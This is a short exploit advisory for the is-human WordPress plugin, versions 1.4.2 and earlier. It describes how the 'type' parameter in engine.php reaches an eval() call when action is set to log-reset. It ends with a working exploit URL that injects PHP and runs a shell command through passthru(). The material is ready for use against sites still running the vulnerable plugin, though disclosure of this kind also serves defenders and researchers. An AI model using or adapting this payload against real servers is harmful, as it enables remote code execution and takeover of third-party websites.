Is-human <=1.4.2 Wordpress Plugin Remote Command Execution Vulnerability

# Exploit Title: is-human (1.4.2 and prior) Worpdress plugin.
# Date: 16.05.2011
# Author: neworder [www.neworder-ind.net]
# Software Link: http://wordpress.org/extend/plugins/is-human/
# Version: 1.4.2
# Tested on: Linux Platform

The vulnerability exists in /is-human/engine.php .

It is possible to take control of the eval() function via the 'type' parameter, when the 'action' is set to log-reset. From here we can run out own code.

In order to avoid any errors we point the $is_hum->get_* array variable into $is_hum->get_ih and to close the execution without error we point it to php stored function error_log(). In between we may place our own php code and use the passthru() function to execute commands.

Execution running the linux whoami command:

http://server/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(whoami);error